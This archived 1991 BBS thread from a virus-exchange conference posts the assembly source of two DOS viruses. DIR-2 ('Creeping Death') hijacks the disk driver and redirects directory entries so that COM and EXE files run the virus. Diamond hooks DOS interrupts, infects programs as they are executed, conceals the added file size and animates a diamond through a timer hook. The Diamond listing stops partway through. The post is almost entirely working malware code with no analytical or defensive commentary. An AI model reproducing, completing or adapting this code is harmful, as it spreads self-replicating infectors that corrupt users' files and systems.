home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VSOURCE.ASM < prev    next >
Assembly Source File  |  1991-12-02  |  60KB  |  1,993 lines

  1. ===========================================================================
  2.  BBS: The Programmer's Inn
  3. Date: 11-24-91 (19:52)             Number: 3544
  4. From: AHMED DOGAN                  Refer#: NONE
  5.   To: ALL                           Recvd: NO  
  6. Subj: DIR-2                          Conf: (16) VIRUS     
  7. ---------------------------------------------------------------------------
  8. ;        Creeping Death  V 1.0
  9. ;
  10. ;        (C) Copyright 1991 by VirusSoft Corp.
  11.  
  12. i13org    =    5f8h
  13. i21org    =    5fch
  14.  
  15.          org   100h
  16.  
  17.          mov   sp,600h
  18.          inc   counter
  19.          xor   cx,cx
  20.          mov   ds,cx
  21.          lds   ax,[0c1h]
  22.          add   ax,21h
  23.          push  ds
  24.          push  ax
  25.          mov   ah,30h
  26.          call  jump
  27.          cmp   al,4
  28.          sbb   si,si
  29.          mov   drive+2,byte ptr -1
  30.          mov   bx,60h
  31.          mov   ah,4ah
  32.          call  jump
  33.  
  34.          mov   ah,52h
  35.          call  jump
  36.          push  es:[bx-2]
  37.          lds   bx,es:[bx]
  38.  
  39. search:  mov   ax,[bx+si+15h]
  40.          cmp   ax,70h
  41.          jne   next
  42.          xchg  ax,cx
  43.          mov   [bx+si+18h],byte ptr -1
  44.          mov   di,[bx+si+13h]
  45.          mov   [bx+si+13h],offset header
  46.          mov   [bx+si+15h],cs
  47. next:    lds   bx,[bx+si+19h]
  48.          cmp   bx,-1
  49.          jne   search
  50.          jcxz  install
  51.  
  52.          pop   ds
  53.          mov   ax,ds
  54.          add   ax,[3]
  55.          inc   ax
  56.          mov   dx,cs
  57.          dec   dx
  58.          cmp   ax,dx
  59.          jne   no_boot
  60.          add   [3],61h
  61. no_boot: mov   ds,dx
  62.          mov   [1],8
  63.  
  64.          mov   ds,cx
  65.          les   ax,[di+6]
  66.          mov   cs:str_block,ax
  67.          mov   cs:int_block,es
  68.  
  69.          cld
  70.          mov   si,1
  71. scan:    dec   si
  72.          lodsw
  73.          cmp   ax,1effh
  74.          jne   scan
  75.          mov   ax,2cah
  76.          cmp   [si+4],ax
  77.          je    right
  78.          cmp   [si+5],ax
  79.          jne   scan
  80. right:   lodsw
  81.          push  cs
  82.          pop   es
  83.          mov   di,offset modify+1
  84.          stosw
  85.          xchg  ax,si
  86.          mov   di,offset i13org
  87.          cli
  88.          movsw
  89.          movsw
  90.  
  91.          mov   dx,0c000h
  92. fdsk1:   mov   ds,dx
  93.          xor   si,si
  94.          lodsw
  95.          cmp   ax,0aa55h
  96.          jne   fdsk4
  97.          cbw
  98.          lodsb
  99.          mov   cl,9
  100.          sal   ax,cl
  101. fdsk2:   cmp   [si],6c7h
  102.          jne   fdsk3
  103.          cmp   [si+2],4ch
  104.          jne   fdsk3
  105.          push  dx
  106. ===========================================================================
  107.  BBS: The Programmer's Inn
  108. Date: 11-24-91 (19:52)             Number: 3545
  109. From: AHMED DOGAN                  Refer#: NONE
  110.   To: ALL                           Recvd: NO  
  111. Subj: DIR-2              <CONT>      Conf: (16) VIRUS     
  112. ---------------------------------------------------------------------------
  113.          push  [si+4]
  114.          jmp   short death
  115. install: int   20h
  116. file:    db    "c:",255,0
  117. fdsk3:   inc   si
  118.          cmp   si,ax
  119.          jb    fdsk2
  120. fdsk4:   inc   dx
  121.          cmp   dh,0f0h
  122.          jb    fdsk1
  123.  
  124.          sub   sp,4
  125. death:   push  cs
  126.          pop   ds
  127.          mov   bx,[2ch]
  128.          mov   es,bx
  129.          mov   ah,49h
  130.          call  jump
  131.          xor   ax,ax
  132.          test  bx,bx
  133.          jz    boot
  134.          mov   di,1
  135. seek:    dec   di
  136.          scasw
  137.          jne   seek
  138.          lea   si,[di+2]
  139.          jmp   short exec
  140. boot:    mov   es,[16h]
  141.          mov   bx,es:[16h]
  142.          dec   bx
  143.          xor   si,si
  144. exec:    push  bx
  145.          mov   bx,offset param
  146.          mov   [bx+4],cs
  147.          mov   [bx+8],cs
  148.          mov   [bx+12],cs
  149.          pop   ds
  150.          push  cs
  151.          pop   es
  152.  
  153.          mov   di,offset f_name
  154.          push  di
  155.          mov   cx,40
  156.          rep   movsw
  157.          push  cs
  158.          pop   ds
  159.  
  160.          mov   ah,3dh
  161.          mov   dx,offset file
  162.          call  jump
  163.          pop   dx
  164.  
  165.          mov   ax,4b00h
  166.          call  jump
  167.          mov   ah,4dh
  168.          call  jump
  169.          mov   ah,4ch
  170.  
  171. jump:    pushf
  172.          call  dword ptr cs:[i21org]
  173.          ret
  174.  
  175.  
  176. ;--------Installation complete
  177.  
  178. i13pr:   mov   ah,3
  179.          jmp   dword ptr cs:[i13org]
  180.  
  181.  
  182. main:    push  ax            ; driver
  183.          push  cx            ; strategy block
  184.          push  dx
  185.          push  ds
  186.          push  si
  187.          push  di
  188.  
  189.          push  es
  190.          pop   ds
  191.          mov   al,[bx+2]
  192.  
  193.          cmp   al,4          ; Input
  194.          je    input
  195.          cmp   al,8
  196.          je    output
  197.          cmp   al,9
  198.          je    output
  199.  
  200.          call  in
  201.          cmp   al,2          ; Build BPB
  202.          jne   ppp           ;
  203.          lds   si,[bx+12h]
  204.          mov   di,offset bpb_buf
  205.          mov   es:[bx+12h],di
  206.          mov   es:[bx+14h],cs
  207.          push  es
  208.          push  cs
  209.          pop   es
  210.  
  211. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  212. ===========================================================================
  213.  BBS: The Programmer's Inn
  214. Date: 11-24-91 (19:52)             Number: 3546
  215. From: AHMED DOGAN                  Refer#: NONE
  216.   To: ALL                           Recvd: NO  
  217. Subj: DIR-2              <CONT>      Conf: (16) VIRUS     
  218. ---------------------------------------------------------------------------
  219.          mov   cx,16
  220.          rep   movsw
  221.          pop   es
  222.          push  cs
  223.          pop   ds
  224.          mov   al,[di+2-32]
  225.          cmp   al,2
  226.          adc   al,0
  227.          cbw
  228.          cmp   [di+8-32],0
  229.          je    m32
  230.          sub   [di+8-32],ax
  231.          jmp   short ppp
  232. m32:     sub   [di+15h-32],ax
  233.          sbb   [di+17h-32],0
  234.  
  235. ppp:     pop   di
  236.          pop   si
  237.          pop   ds
  238.          pop   dx
  239.          pop   cx
  240.          pop   ax
  241. rts:     retf
  242.  
  243. output:  mov   cx,0ff09h
  244.          call  check
  245.          jz    inf_sec
  246.          call  in
  247.          jmp   short inf_dsk
  248.  
  249. inf_sec: jmp   _inf_sec
  250. read:    jmp   _read
  251. read_:   add   sp,16
  252.          jmp   short ppp
  253.  
  254. input:   call  check
  255.          jz    read
  256. inf_dsk: mov   byte ptr [bx+2],4
  257.          cld
  258.          lea   si,[bx+0eh]
  259.          mov   cx,8
  260. save:    lodsw
  261.          push  ax
  262.          loop  save
  263.          mov   [bx+14h],1
  264.          call  driver
  265.          jnz   read_
  266.          mov   byte ptr [bx+2],2
  267.          call  in
  268.          lds   si,[bx+12h]
  269.          mov   ax,[si+6]
  270.          add   ax,15
  271.          mov   cl,4
  272.          shr   ax,cl
  273.          mov   di,[si+0bh]
  274.          add   di,di
  275.          stc
  276.          adc   di,ax
  277.          push  di
  278.          cwd
  279.          mov   ax,[si+8]
  280.          test  ax,ax
  281.          jnz   more
  282.          mov   ax,[si+15h]
  283.          mov   dx,[si+17h]
  284. more:    xor   cx,cx
  285.          sub   ax,di
  286.          sbb   dx,cx
  287.          mov   cl,[si+2]
  288.          div   cx
  289.          cmp   cl,2
  290.          sbb   ax,-1
  291.          push  ax
  292.          call  convert
  293.          mov   byte ptr es:[bx+2],4
  294.          mov   es:[bx+14h],ax
  295.          call  driver
  296. again:   lds   si,es:[bx+0eh]
  297.          add   si,dx
  298.          sub   dh,cl
  299.          adc   dx,ax
  300.          mov   cs:gad+1,dx
  301.          cmp   cl,1
  302.          je    small
  303.          mov   ax,[si]
  304.          and   ax,di
  305.          cmp   ax,0fff7h
  306.          je    bad
  307.          cmp   ax,0ff7h
  308.          je    bad
  309.          cmp   ax,0ff70h
  310.          jne   ok
  311. bad:     pop   ax
  312.          dec   ax
  313.          push  ax
  314.          call  convert
  315.          jmp   short again
  316.  
  317. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  318. ===========================================================================
  319.  BBS: The Programmer's Inn
  320. Date: 11-24-91 (19:52)             Number: 3547
  321. From: AHMED DOGAN                  Refer#: NONE
  322.   To: ALL                           Recvd: NO  
  323. Subj: DIR-2              <CONT>      Conf: (16) VIRUS     
  324. ---------------------------------------------------------------------------
  325. small:   not   di
  326.          and   [si],di
  327.          pop   ax
  328.          push  ax
  329.          inc   ax
  330.          push  ax
  331.          mov   dx,0fh
  332.          test  di,dx
  333.          jz    here
  334.          inc   dx
  335.          mul   dx
  336. here:    or    [si],ax
  337.          pop   ax
  338.          call  convert
  339.          mov   si,es:[bx+0eh]
  340.          add   si,dx
  341.          mov   ax,[si]
  342.          and   ax,di
  343. ok:      mov   dx,di
  344.          dec   dx
  345.          and   dx,di
  346.          not   di
  347.          and   [si],di
  348.          or    [si],dx
  349.  
  350.          cmp   ax,dx
  351.          pop   ax
  352.          pop   di
  353.          mov   cs:pointer+1,ax
  354.          je    _read_
  355.          mov   dx,[si]
  356.          push  ds
  357.          push  si
  358.          call  write
  359.          pop   si
  360.          pop   ds
  361.          jnz   _read_
  362.          call  driver
  363.          cmp   [si],dx
  364.          jne   _read_
  365.          dec   ax
  366.          dec   ax
  367.          mul   cx
  368.          add   ax,di
  369.          adc   dx,0
  370.          push  es
  371.          pop   ds
  372.          mov   [bx+12h],2
  373.          mov   [bx+14h],ax
  374.          test  dx,dx
  375.          jz    less
  376.          mov   [bx+14h],-1
  377.          mov   [bx+1ah],ax
  378.          mov   [bx+1ch],dx
  379. less:    mov   [bx+10h],cs
  380.          mov   [bx+0eh],100h
  381.          call  write
  382.  
  383. _read_:  std
  384.          lea   di,[bx+1ch]
  385.          mov   cx,8
  386. load:    pop   ax
  387.          stosw
  388.          loop  load
  389. _read:   call  in
  390.  
  391.          mov   cx,9
  392. _inf_sec:
  393.          mov   di,es:[bx+12h]
  394.          lds   si,es:[bx+0eh]
  395.          sal   di,cl
  396.          xor   cl,cl
  397.          add   di,si
  398.          xor   dl,dl
  399.          push  ds
  400.          push  si
  401.          call  find
  402.          jcxz  no_inf
  403.          call  write
  404.          and   es:[bx+4],byte ptr 07fh
  405. no_inf:  pop   si
  406.          pop   ds
  407.          inc   dx
  408.          call  find
  409.          jmp   ppp
  410.  
  411. ;--------Subroutines
  412.  
  413. find:    mov   ax,[si+8]
  414.          cmp   ax,"XE"
  415.          jne   com
  416.          cmp   [si+10],al
  417.          je    found
  418. com:     cmp   ax,"OC"
  419.          jne   go_on
  420.          cmp   byte ptr [si+10],"M"
  421.          jne   go_on
  422.  
  423. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  424. ===========================================================================
  425.  BBS: The Programmer's Inn
  426. Date: 11-24-91 (19:52)             Number: 3548
  427. From: AHMED DOGAN                  Refer#: NONE
  428.   To: ALL                           Recvd: NO  
  429. Subj: DIR-2              <CONT>      Conf: (16) VIRUS     
  430. ---------------------------------------------------------------------------
  431. found:   test  [si+1eh],0ffc0h ; >4MB
  432.          jnz   go_on
  433.          test  [si+1dh],03ff8h ; <2048B
  434.          jz    go_on
  435.          test  [si+0bh],byte ptr 1ch
  436.          jnz   go_on
  437.          test  dl,dl
  438.          jnz   rest
  439. pointer: mov   ax,1234h
  440.          cmp   ax,[si+1ah]
  441.          je    go_on
  442.          xchg  ax,[si+1ah]
  443. gad:     xor   ax,1234h
  444.          mov   [si+14h],ax
  445.          loop  go_on
  446. rest:    xor   ax,ax
  447.          xchg  ax,[si+14h]
  448.          xor   ax,cs:gad+1
  449.          mov   [si+1ah],ax
  450. go_on:  ;rol   cs:gad+1,1
  451.          db    2eh,0d1h,6
  452.          dw    offset gad+1
  453.          add   si,32
  454.          cmp   di,si
  455.          jne   find
  456.          ret
  457.  
  458. check:   mov   ah,[bx+1]
  459. drive:   cmp   ah,-1
  460.          mov   cs:[drive+2],ah
  461.          jne   changed
  462.          push  [bx+0eh]
  463.          mov   byte ptr [bx+2],1
  464.          call  in
  465.          cmp   byte ptr [bx+0eh],1
  466.          pop   [bx+0eh]
  467.          mov   [bx+2],al
  468. changed: ret
  469.  
  470. write:   cmp   byte ptr es:[bx+2],8
  471.          jae   in
  472.          mov   byte ptr es:[bx+2],4
  473.          mov   si,70h
  474.          mov   ds,si
  475. modify:  mov   si,1234h
  476.          push  [si]
  477.          push  [si+2]
  478.          mov   [si],offset i13pr
  479.          mov   [si+2],cs
  480.          call  in
  481.          pop   [si+2]
  482.          pop   [si]
  483.          ret
  484.  
  485. driver:  mov   es:[bx+12h],1
  486. in:
  487.          db    09ah
  488. str_block:
  489.          dw    ?,70h
  490.          db    09ah
  491. int_block:
  492.          dw    ?,70h
  493.          test  es:[bx+4],byte ptr 80h
  494.          ret
  495.  
  496. convert: cmp   ax,0ff0h
  497.          jae   fat_16
  498.          mov   si,3
  499.          xor   cs:[si+gad-1],si
  500.          mul   si
  501.          shr   ax,1
  502.          mov   di,0fffh
  503.          jnc   cont
  504.          mov   di,0fff0h
  505.          jmp   short cont
  506. fat_16:  mov   si,2
  507.          mul   si
  508.          mov   di,0ffffh
  509. cont:    mov   si,512
  510.          div   si
  511. header:  inc   ax
  512.          ret
  513.  
  514. counter: dw    0
  515.  
  516.          dw    842h
  517.          dw    offset main
  518.          dw    offset rts
  519.          db    7fh
  520.  
  521. param:   dw    0,80h,?,5ch,?,6ch,?
  522.  
  523. bpb_buf: db    32 dup(?)
  524. f_name:  db    80 dup(?)
  525.  
  526. ;--------The End.
  527.  
  528.  
  529. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  530. ===========================================================================
  531.  BBS: The Programmer's Inn
  532. Date: 11-24-91 (19:52)             Number: 3549
  533. From: AHMED DOGAN                  Refer#: NONE
  534.   To: ALL                           Recvd: NO  
  535. Subj: DIR-2              <CONT>      Conf: (16) VIRUS     
  536. ---------------------------------------------------------------------------
  537.  
  538. ---
  539.  ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506
  540. ===========================================================================
  541.  BBS: The Programmer's Inn
  542. Date: 11-24-91 (20:00)             Number: 3550
  543. From: AHMED DOGAN                  Refer#: NONE
  544.   To: ALL                           Recvd: NO  
  545. Subj: DIAMOND                        Conf: (16) VIRUS     
  546. ---------------------------------------------------------------------------
  547. ;         The Diamond Virus
  548. ;
  549. ;           Version  2.10
  550. ;
  551. ; also known as:
  552. ;    V1024, V651, The EGN Virus
  553. ;
  554. ; Basic release:   5-Aug-1989
  555. ; Last patch:           5-May-1990
  556. ;
  557. ;   COPYRIGHT:
  558. ;
  559. ; This program is (c) Copyright 1989,1990 Damage, Inc.
  560. ; Permission is granted to distribute this source provided the tittle
  561. page is
  562. ;   preserved.
  563. ; Any fee can be charged for distribution of this source, however,
  564. Damage, Inc.
  565. ;   distributes it freely.
  566. ; You are specially prohibited to use this program for military
  567. purposes.
  568. ; Damage, Inc. is not liable for any kind of damages resulting from
  569. the use of
  570. ;   or the inability to use this software.
  571. ;
  572. ; To assemble this program use Turbo Assembler 1.0
  573.  
  574.                 .radix        16
  575.                 .model        tiny
  576.                 .code
  577. code_len        =        top_code-main_entry
  578. data_len        =        top_data-top_code
  579. main_entry:
  580.                 call        locate_address
  581. gen_count        dw        0
  582. locate_address:
  583.                 xchg        ax,bp
  584.                 cld
  585.                 pop        bx
  586.                 inc        word ptr cs:[bx]
  587.                 mov        ax,0d5aa
  588.                 int        21
  589.                 cmp        ax,2a03
  590.                 jz        all_done
  591.                 mov        ax,sp
  592.                 inc        ax
  593.                 mov        cl,4
  594.                 shr        ax,cl
  595.                 inc        ax
  596.                 mov        dx,ss
  597.                 add        ax,dx
  598.                 mov        dx,ds
  599.                 dec        dx
  600.                 mov        es,dx
  601.                 xor        di,di
  602.                 mov        cx,(top_data-main_entry-1)/10+1
  603.                 mov        dx,[di+2]
  604.                 sub        dx,cx
  605.                 cmp        dx,ax
  606.                 jc        all_done
  607.                 cli
  608.                 sub        es:[di+3],cx
  609.                 mov        [di+2],dx
  610.                 mov        es,dx
  611.                 lea        si,[bx+main_entry-gen_count]
  612.                 mov        cx,top_code-main_entry
  613.                 rep
  614.                 db        2e
  615.                 movsb
  616.                 push        ds
  617.                 mov        ds,cx
  618.                 mov        si,20
  619.                 lea        di,[di+old_vector-top_code]
  620.                 org        $-1
  621.                 mov        ax,offset dos_handler
  622.                 xchg        ax,[si+64]
  623.                 stosw
  624.                 mov        ax,es
  625.                 xchg        ax,[si+66]
  626.                 stosw
  627.                 mov        ax,offset time_handler
  628.                 xchg        ax,[si]
  629.                 stosw
  630.                 xchg        ax,dx
  631.                 xchg        ax,[si+2]
  632.                 stosw
  633.                 mov        ax,24
  634.                 stosw
  635.                 pop        ds
  636.                 push        ds
  637.                 pop        es
  638.                 sti
  639. all_done:
  640.                 lea        si,[bx+exe_header-gen_count]
  641.                 db        2e
  642.                 lodsw
  643.                 cmp        ax,'ZM'
  644.                 jz        exit_exe
  645. ===========================================================================
  646.  BBS: The Programmer's Inn
  647. Date: 11-24-91 (20:00)             Number: 3551
  648. From: AHMED DOGAN                  Refer#: NONE
  649.   To: ALL                           Recvd: NO  
  650. Subj: DIAMOND            <CONT>      Conf: (16) VIRUS     
  651. ---------------------------------------------------------------------------
  652.                 mov        di,100
  653.                 push        di
  654.                 stosw
  655.                 movsb
  656.                 xchg        ax,bp
  657.                 ret
  658. exit_exe:
  659.                 mov        dx,ds
  660.                 add        dx,10
  661.                 add        cs:[si+return_address+2-exe_header-2],dx
  662.                 org        $-1
  663.                 add        dx,cs:[si+stack_offset+2-exe_header-2]
  664.                 org        $-1
  665.                 mov        ss,dx
  666.                 mov        sp,cs:[si+stack_offset-exe_header-2]
  667.                 org        $-1
  668.                 xchg        ax,bp
  669.                 jmp        dword ptr
  670. cs:[si+return_address-exe_header-2]
  671.                 org        $-1
  672. infect:
  673.                 mov        dx,offset exe_header
  674.                 mov        cx,top_header-exe_header
  675.                 mov        ah,3f
  676.                 int        21
  677.                 jc        do_exit
  678.                 sub        cx,ax
  679.                 jnz        go_error
  680.                 mov        di,offset exe_header
  681.                 les        ax,[di+ss_offset-exe_header]
  682.                 org        $-1
  683.                 mov        [di+stack_offset-exe_header],es
  684.                 org        $-1
  685.                 mov        [di+stack_offset+2-exe_header],ax
  686.                 org        $-1
  687.                 les        ax,[di+ip_offset-exe_header]
  688.                 org        $-1
  689.                 mov        [di+return_address-exe_header],ax
  690.                 org        $-1
  691.                 mov        [di+return_address+2-exe_header],es
  692.                 org        $-1
  693.                 mov        dx,cx
  694.                 mov        ax,4202
  695.                 int        21
  696.                 jc        do_exit
  697.                 mov        [di+file_size-exe_header],ax
  698.                 org        $-1
  699.                 mov        [di+file_size+2-exe_header],dx
  700.                 org        $-1
  701.                 mov        cx,code_len
  702.                 cmp        ax,cx
  703.                 sbb        dx,0
  704.                 jc        do_exit
  705.                 xor        dx,dx
  706.                 mov        si,'ZM'
  707.                 cmp        si,[di]
  708.                 jz        do_put_image
  709.                 cmp        [di],'MZ'
  710.                 jz        do_put_image
  711.                 cmp        ax,0fe00-code_len
  712.                 jc        put_image
  713. go_error:
  714.                 stc
  715. do_exit:
  716.                 ret
  717. do_put_image:
  718.                 cmp        dx,[di+max_size-exe_header]
  719.                 org        $-1
  720.                 jz        go_error
  721.                 mov        [di],si
  722. put_image:
  723.                 mov        ah,40
  724.                 int        21
  725.                 jc        do_exit
  726.                 sub        cx,ax
  727.                 jnz        go_error
  728.                 mov        dx,cx
  729.                 mov        ax,4200
  730.                 int        21
  731.                 jc        do_exit
  732.                 mov        ax,[di+file_size-exe_header]
  733.                 org        $-1
  734.                 cmp        [di],'ZM'
  735.                 jnz        com_file
  736.                 mov        dx,[di+file_size-exe_header+2]
  737.                 org        $-1
  738.                 mov        cx,4
  739.                 push        di
  740.                 mov        si,[di+header_size-exe_header]
  741.                 org        $-1
  742.                 xor        di,di
  743. shift_size:
  744.                 shl        si,1
  745.                 rcl        di,1
  746.                 loop        shift_size
  747.                 sub        ax,si
  748.                 sbb        dx,di
  749.  
  750. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  751. ===========================================================================
  752.  BBS: The Programmer's Inn
  753. Date: 11-24-91 (20:00)             Number: 3552
  754. From: AHMED DOGAN                  Refer#: NONE
  755.   To: ALL                           Recvd: NO  
  756. Subj: DIAMOND            <CONT>      Conf: (16) VIRUS     
  757. ---------------------------------------------------------------------------
  758.                 pop        di
  759.                 mov        cl,0c
  760.                 shl        dx,cl
  761.                 mov        [di+ip_offset-exe_header],ax
  762.                 org        $-1
  763.                 mov        [di+cs_offset-exe_header],dx
  764.                 org        $-1
  765.                 add        dx,(code_len+data_len+100-1)/10+1
  766.                 org        $-1
  767.                 mov        [di+sp_offset-exe_header],ax
  768.                 org        $-1
  769.                 mov        [di+ss_offset-exe_header],dx
  770.                 org        $-1
  771.                 add        word ptr
  772. [di+min_size-exe_header],(data_len+100-1)/10+1
  773.                 org        $-2
  774.                 mov        ax,[di+min_size-exe_header]
  775.                 org        $-1
  776.                 cmp        ax,[di+max_size-exe_header]
  777.                 org        $-1
  778.                 jc        adjust_size
  779.                 mov        [di+max_size-exe_header],ax
  780.                 org        $-1
  781. adjust_size:
  782.                 mov        ax,[di+last_page-exe_header]
  783.                 org        $-1
  784.                 add        ax,code_len
  785.                 push        ax
  786.                 and        ah,1
  787.                 mov        [di+last_page-exe_header],ax
  788.                 org        $-1
  789.                 pop        ax
  790.                 mov        cl,9
  791.                 shr        ax,cl
  792.                 add        [di+page_count-exe_header],ax
  793.                 org        $-1
  794.                 jmp        short put_header
  795. com_file:
  796.                 sub        ax,3
  797.                 mov        byte ptr [di],0e9
  798.                 mov        [di+1],ax
  799. put_header:
  800.                 mov        dx,offset exe_header
  801.                 mov        cx,top_header-exe_header
  802.                 mov        ah,40
  803.                 int        21
  804.                 jc        error
  805.                 cmp        ax,cx
  806.                 jz        reset
  807. error:
  808.                 stc
  809. reset:
  810.                 ret
  811. find_file:
  812.                 pushf
  813.                 push        cs
  814.                 call        calldos
  815.                 test        al,al
  816.                 jnz        cant_find
  817.                 push        ax
  818.                 push        bx
  819.                 push        es
  820.                 mov        ah,51
  821.                 int        21
  822.                 mov        es,bx
  823.                 cmp        bx,es:[16]
  824.                 jnz        not_infected
  825.                 mov        bx,dx
  826.                 mov        al,[bx]
  827.                 push        ax
  828.                 mov        ah,2f
  829.                 int        21
  830.                 pop        ax
  831.                 inc        al
  832.                 jnz        fcb_standard
  833.                 add        bx,7
  834. fcb_standard:
  835.                 mov        ax,es:[bx+17]
  836.                 and        ax,1f
  837.                 xor        al,1e
  838.                 jnz        not_infected
  839.                 and        byte ptr es:[bx+17],0e0
  840.                 sub        es:[bx+1dh],code_len
  841.                 sbb        es:[bx+1f],ax
  842. not_infected:
  843.                 pop        es
  844.                 pop        bx
  845.                 pop        ax
  846. cant_find:
  847.                 iret
  848. dos_handler:
  849.                 cmp        ah,4bh
  850.                 jz        exec
  851.                 cmp        ah,11
  852.                 jz        find_file
  853.                 cmp        ah,12
  854.                 jz        find_file
  855.  
  856. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  857. ===========================================================================
  858.  BBS: The Programmer's Inn
  859. Date: 11-24-91 (20:00)             Number: 3553
  860. From: AHMED DOGAN                  Refer#: NONE
  861.   To: ALL                           Recvd: NO  
  862. Subj: DIAMOND            <CONT>      Conf: (16) VIRUS     
  863. ---------------------------------------------------------------------------
  864.                 cmp        ax,0d5aa
  865.                 jnz        calldos
  866.                 not        ax
  867. fail:
  868.                 mov        al,3
  869.                 iret
  870. exec:
  871.                 cmp        al,2
  872.                 jnc        calldos
  873.                 push        ds
  874.                 push        es
  875.                 push        ax
  876.                 push        bx
  877.                 push        cx
  878.                 push        dx
  879.                 push        si
  880.                 push        di
  881.                 mov        ax,3524
  882.                 int        21
  883.                 push        es
  884.                 push        bx
  885.                 mov        ah,25
  886.                 push        ax
  887.                 push        ds
  888.                 push        dx
  889.                 push        cs
  890.                 pop        ds
  891.                 mov        dx,offset fail
  892.                 int        21
  893.                 pop        dx
  894.                 pop        ds
  895.                 mov        ax,4300
  896.                 int        21
  897.                 jc        exit
  898.                 test        cl,1
  899.                 jz        open
  900.                 dec        cx
  901.                 mov        ax,4301
  902.                 int        21
  903. open:
  904.                 mov        ax,3d02
  905.                 int        21
  906.                 jc        exit
  907.                 xchg        ax,bx
  908.                 mov        ax,5700
  909.                 int        21
  910.                 jc        close
  911.                 mov        al,cl
  912.                 or        cl,1f
  913.                 dec        cx
  914.                 xor        al,cl
  915.                 jz        close
  916.                 push        cs
  917.                 pop        ds
  918.                 push        cx
  919.                 push        dx
  920.                 call        infect
  921.                 pop        dx
  922.                 pop        cx
  923.                 jc        close
  924.                 mov        ax,5701
  925.                 int        21
  926. close:
  927.                 mov        ah,3e
  928.                 int        21
  929. exit:
  930.                 pop        ax
  931.                 pop        dx
  932.                 pop        ds
  933.                 int        21
  934.                 pop        di
  935.                 pop        si
  936.                 pop        dx
  937.                 pop        cx
  938.                 pop        bx
  939.                 pop        ax
  940.                 pop        es
  941.                 pop        ds
  942. calldos:
  943.                 jmp        cs:[old_vector]
  944.                 .radix        10
  945. adrtbl                dw
  946. 1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156
  947.                 dw
  948. 2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478
  949.                 dw        2480,2482,2640
  950. diftbl                dw
  951. -324,-322,-156,158,-318,-316,318,156,162,316,164,-322
  952.                 dw
  953. -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164
  954.                 dw        324
  955. valtbl                dw
  956. 3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844
  957.                 dw
  958. 3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820
  959.                 dw        2820,2820,2308
  960. xlatbl                dw
  961.  
  962. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  963. ===========================================================================
  964.  BBS: The Programmer's Inn
  965. Date: 11-24-91 (20:00)             Number: 3554
  966. From: AHMED DOGAN                  Refer#: NONE
  967.   To: ALL                           Recvd: NO  
  968. Subj: DIAMOND            <CONT>      Conf: (16) VIRUS     
  969. ---------------------------------------------------------------------------
  970. -324,316,-164,156,-322,318,-162,158,-318,322,-158,162
  971.                 dw        -316,324,-156,164
  972.                 .radix        16
  973. time_handler:
  974.                 push        ds
  975.                 push        es
  976.                 push        ax
  977.                 push        bx
  978.                 push        cx
  979.                 push        dx
  980.                 push        si
  981.                 push        di
  982.                 push        cs
  983.                 pop        ds
  984.                 cld
  985.                 mov        dx,3da
  986.                 mov        cx,19
  987.                 mov        si,offset count
  988.                 mov        ax,[si]
  989.                 test        ah,ah
  990.                 jnz        make_move
  991.                 mov        al,ah
  992.                 mov        es,ax
  993.                 cmp        al,es:[46dh]
  994.                 jnz        exit_timer
  995.                 mov        ah,0f
  996.                 int        10
  997.                 cmp        al,2
  998.                 jz        init_diamond
  999.                 cmp        al,3
  1000.                 jnz        exit_timer
  1001. init_diamond:
  1002.                 inc        byte ptr [si+1]
  1003.                 sub        bl,bl
  1004.                 add        bh,0b8
  1005.                 mov        [si+2],bx
  1006.                 mov        es,bx
  1007. wait_snow:
  1008.                 in        al,dx
  1009.                 test        al,8
  1010.                 jz        wait_snow
  1011.                 mov        si,offset valtbl
  1012. build_diamond:
  1013.                 mov        di,[si+adrtbl-valtbl]
  1014.                 movsw
  1015.                 loop        build_diamond
  1016. exit_timer:
  1017.                 pop        di
  1018.                 pop        si
  1019.                 pop        dx
  1020.                 pop        cx
  1021.                 pop        bx
  1022.                 pop        ax
  1023.                 pop        es
  1024.                 pop        ds
  1025.                 jmp        cs:[old_timer]
  1026. count_down:
  1027.                 dec        byte ptr [si]
  1028.                 jmp        exit_timer
  1029. make_move:
  1030.                 test        al,al
  1031.                 jnz        count_down
  1032.                 inc        byte ptr [si]
  1033.                 mov        si,offset adrtbl
  1034. make_step:
  1035.                 push        cx
  1036.                 push        cs
  1037.                 pop        es
  1038.                 lodsw
  1039.                 mov        bx,ax
  1040.                 sub        ax,140
  1041.                 cmp        ax,0d20
  1042.                 jc        no_xlat
  1043.                 test        ax,ax
  1044.                 mov        ax,[si+diftbl-adrtbl-2]
  1045.                 jns        test_xlat
  1046.                 test        ax,ax
  1047.                 js        do_xlat
  1048.                 jmp        short no_xlat
  1049. test_xlat:
  1050.                 test        ax,ax
  1051.                 js        no_xlat
  1052. do_xlat:
  1053.                 mov        di,offset xlatbl
  1054.                 mov        cx,10
  1055.                 repnz        scasw
  1056.                 dec        di
  1057.                 dec        di
  1058.                 xor        di,2
  1059.                 mov        ax,[di]
  1060.                 mov        [si+diftbl-adrtbl-2],ax
  1061. no_xlat:
  1062.                 mov        ax,[si-2]
  1063.                 add        ax,[si+diftbl-adrtbl-2]
  1064.                 mov        [si-2],ax
  1065.                 mov        cx,19
  1066.                 mov        di,offset adrtbl
  1067.  
  1068. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  1069. ===========================================================================
  1070.  BBS: The Programmer's Inn
  1071. Date: 11-24-91 (20:00)             Number: 3555
  1072. From: AHMED DOGAN                  Refer#: NONE
  1073.   To: ALL                           Recvd: NO  
  1074. Subj: DIAMOND            <CONT>      Conf: (16) VIRUS     
  1075. ---------------------------------------------------------------------------
  1076. lookup:
  1077.                 jcxz        looked_up
